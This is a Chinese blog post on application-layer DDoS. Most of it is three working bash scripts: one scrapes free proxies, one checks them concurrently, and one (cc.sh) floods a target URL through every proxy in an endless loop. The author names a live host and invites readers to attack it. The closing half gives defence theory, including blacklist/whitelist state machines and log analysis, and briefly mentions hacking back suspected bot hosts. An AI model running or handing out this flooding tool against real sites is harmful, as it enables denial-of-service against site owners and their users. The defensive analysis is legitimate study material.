DDoS攻防战(二):CC攻击工具实现与防御理论--删除

我们将要实现一个进行应用层DDoS攻击的工具,综合考虑,CC攻击方式是最佳选择,并用bash shell脚本来快速实现并验证这一工具,并在最后,讨论如何防御来自应用层的DDoS攻击。

第一步:获取大量可用代理ip:port列表

网上所处可见免费代理,我们使用http的GET方法抓取html文档,接着使用正则过滤出我们需要的ip port对,然后逐一验证各代理的可用性,最终得到可用的代理ip port对。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
grab_proxy.sh
#!/bin/bash
 
#get proxy list
declare proxyListFile="proxy.txt"
declare tmpFile=`mktemp`
declare url
declare line
declare times
declare ip
declare port
declare i
declare j
declare mod
 
function quit() {
    rm -f $tmpFile
    exit "$1"
}
 
echo "get proxy list... please wait..."
 
if [ -r "$proxyListFile" ]
then
  rm -f $proxyListFile
fi
 
touch $proxyListFile
 
for url in  " http://www.youdaili.cn/Daili/guonei/2215.html "
            " http://www.youdaili.cn/Daili/guonei/2215_2.html"
            " http://www.youdaili.cn/Daili/guonei/2215_3.html"
            " http://www.youdaili.cn/Daili/guonei/2215_4.html "
do
    if GET "$url" > $tmpFile
    then
        grep -oE '^.*.*$' "$tmpFile" | grep -Eo "([0-9]+)(.[0-9]+){3}:([0-9]+)"
        | sort -n | uniq | awk -F: '{ printf("%-15s  %s ",$1,$2); }' >> $proxyListFile
    else
        exec 1>&2
        echo "error: get proxy list fail! chech the url:$url or the network"
        quit 1
    fi
done
 
echo "done. total `cat $proxyListFile | wc -l` proxy"
 
quit 0
#exit

参数:

declare proxyListFile=”proxy.txt”  #抓取到的代理ip port对所存放的文件路径

041056016452998

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
check_proxy.sh
#!/bin/bash
 
#get proxy list
declare check_threads=10
declare line
declare times
declare ip
declare port
declare i
declare j
declare mod
 
function quit() {
    exit "$1"
}
 
#echo "start check proxy's functionality..."
 
#retarget the input file to stdin
if [ "$#" -gt "0" ]
then
    exec 0<$1
else
    exec 1>&2
    echo "usage: bash $0 proxyListFile.txt"
    echo "error: must have one input arg"
    quit 1
fi
 
#check proxy's functionality
times=0
while read line
do
    times=$((times+1))
    j=0
    for i in `echo $line | tr ' ' ' ' | grep -E '^[^s].*$'`
    do
        j=$((j+1))
        if [ "$j" -eq 1 ]
        then
            ip=$i
        else
            port=$i
        fi
    done
    #echo "times=$times ip=$ip port=$port"
    # start test
    if GET -t 5 -p "http://$ip:$port" "http://baidu.com" &>/dev/null
    then
        echo "$ip $port"
        echo ":) ip=$ip port=$port " &>/dev/null
    else
        echo "invalid ip=$ip port=$port : please check ip:host or network" &>/proc/self/fd/2
    fi &
    mod=$((times%check_threads))
    if [ "$mod" -eq "0" ]
    then
        wait
    fi
done
 
#close the fd of input file
exec 0>&-
quit 0
#exit

参数:

declare check_threads=10 #验证代理可用性时的并发数,看一下代码就会发现,我们使用的是GET http://baidu.com方法,所以,并发数请不要也太高 :) 除非你的目标就是……

041104385362485

总结:应征入伍的士兵共计600人,经过考核的共计449人,如果你还想招募更多的士兵,奉劝一句,苦海无边,回头是岸。
第二步:吹响战争号角

笔者在一台VPS上建立了一个薄弱的靶机,各位读者请不要太暴力,测试一下就可以了,地址 http://eecs.cc:8080/

041127125528891

笔者把这么重要的信息都放出来了,读者请点个赞吧  :)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
cc.sh
#!/bin/bash
 
declare target_url="http://eecs.cc:8080/"
declare get_timeout_sec=5
declare line
declare times
declare ip
declare port
declare i
declare j
 
function quit() {
    exit "$1"
}
 
#retarget the input file to stdin
if ! [ "$#" -gt "0" ]
then
    exec 1>&2
    echo "challenge collapsar attack -- cc attack"
    echo "usage: bash $0 proxyListFile.txt"
    echo "error: must have one input arg"
    quit 1
fi
 
echo "report : total `cat $1 | wc -l` proxy-soldiers are ready for command"
echo "command: target: $target_url"
echo "command: start challenge collapsar attack   :)   amazing..."
 
exec 0<$1
#start challenge collapsar attack
 
while true
do
    times=0
    exec 0<&-
    exec 0<$1
    while read line
    do
        times=$((times+1))
        j=0
        for i in `echo $line | tr ' ' ' ' | grep -E '^[^s].*$'`
        do
            j=$((j+1))
            if [ "$j" -eq 1 ]
            then
                ip=$i
            else
                port=$i
            fi
        done
        echo "times=$times ip=$ip port=$port"
        #single soldier attack
        if GET -t "$get_timeout_sec" -p "http://$ip:$port" "$target_url" &>/dev/null
        then
            echo "soldier$times attack $target_url :)"
        else
            echo "soldier$times attack $target_url miss"
        fi &
    done
    wait
done
 
#close the fd of input file
exec 0>&-
quit 0
#exit

041139274425845
读者可自行尝试攻击这个站点,然后使用浏览器访问查看服务器网络状况,此时大量连接处于TIME_WAIT状态,参考TCP状态机,这一状态为主动关闭一方的最终等待状态。

请不要恶意攻击别人的网站 如果因此被关了进去 没有人能把你弄出来

  

  应用层DDoS的防御理论:

  问题模型描述:

  每一个页面,都有其资源消耗权重,静态资源,权重较低,动态资源,权重较高。对于用户访问,有如下:

用户资源使用频率=使用的服务器总资源量/s

  命题一:对于正常访问的用户,资源使用频率必定位于一个合理的范围,当然会存在大量正常用户共享ip的情况,这就需要日常用户访问统计,以得到忠实用户ip白名单。

  命题二:资源使用频率持续异常的,可断定为访问异常的用户。

  防御体系状态机:

  1.在系统各项资源非常宽裕时,向所有ip提供服务,每隔一段时间释放一部分临时黑名单中的ip成员;

  2.在系统资源消耗达到某一阈值时,降低Syn包接受速率,循环:分析最近时间的日志,并将访问异常的ip加入临时黑名单;

  3.若系统资源消耗慢慢回降至正常水平,则恢复Syn包接受速率,转到状态1;若目前策略并未有效地控制住系统资源消耗的增长,情况继续恶劣至一极限阈值,转到状态4;

  4.最终防御方案,使用忠实用户ip白名单、异常访问ip黑名单策略,其他访问可慢慢放入,直到系统资源消耗回降至正常水平,转到状态1。

 

 上述的防御状态机,对于单个攻击IP高并发的DDOS,变化到状态3时,效果就完全体现出来了,但如果防御状态机进行到4状态,则有如下两种可能:

  1.站点遭到了攻击群庞大的、单个IP低并发的DDOS攻击;

2.站点突然间有了很多访问正常的新用户。

 建议后续工作:

  保守:站点应尽快进行服务能力升级。

积极:尽所能,追溯攻击者。

  追溯攻击者:
    CC:proxy-forward-from-ip
单个IP高并发的DDOS:找到访问异常的、高度可疑的ip列表,exploit,搜集、分析数据,因为一个傀儡主机可被二次攻占的概率很大(但不建议这种方法)
单个IP低并发的DDOS:以前极少访问被攻击站点,但是在攻击发生时,却频繁访问我们的站点,分析日志得到这一部分ip列表

   追溯攻击者的过程中,snat与web proxy增加了追踪的难度,如果攻击者采用多个中继服务器的方法,追溯将变得极为困难。

      

防御者:

  • 1.应对当前系统了如指掌,如系统最高负载、最高数据处理能力,以及系统防御体系的强项与弱点
  • 2.历史日志的保存、分析
  • 3.对当前系统进行严格安全审计
  • 4.上报公安相关部分,努力追溯攻击者
  • 5.网站,能静态,就一定不要动态,可采取定时从主数据库生成静态页面的方式,对需要访问主数据库的服务使用验证机制。
  • 6.防御者应能从全局的角度,迅速及时地发现系统正在处于什么程度的攻击、何种攻击,在平时,应该建立起攻击应急策略,规范化操作,免得在急中犯下低级错误

对历史日志的分析这时将会非常重要,数据可视化与统计学的方法将会很有益处:

1.分析每个页面的平均访问频率

2.对访问频率异常的页面进行详细分析 分析得到ip-页面访问频率

3.得到对访问异常页面的访问异常ip列表

4.对日志分析得到忠实用户IP白名单

5.一般一个页面会关联多个资源,一次对于这样的页面访问往往会同时增加多个资源的访问数,而攻击程序一般不会加载这些它不感兴趣的资源,所以,这也是一个非常好的分析突破点

本文主要讲述了DDoS攻击之一的CC攻击工具实现,以及如何防御来自应用层的DDoS攻击的理论总结。接下来的文章,笔者将会实现一个工作于内核态的、具有黑名单功能的防火墙模块,以对应于上述防御状态机中的防火墙单元,它实现了自主地动态内存管理,使用hash表管理ip列表,并可以自定义hash表的modular。

原文地址:https://www.cnblogs.com/duanxz/p/4897878.html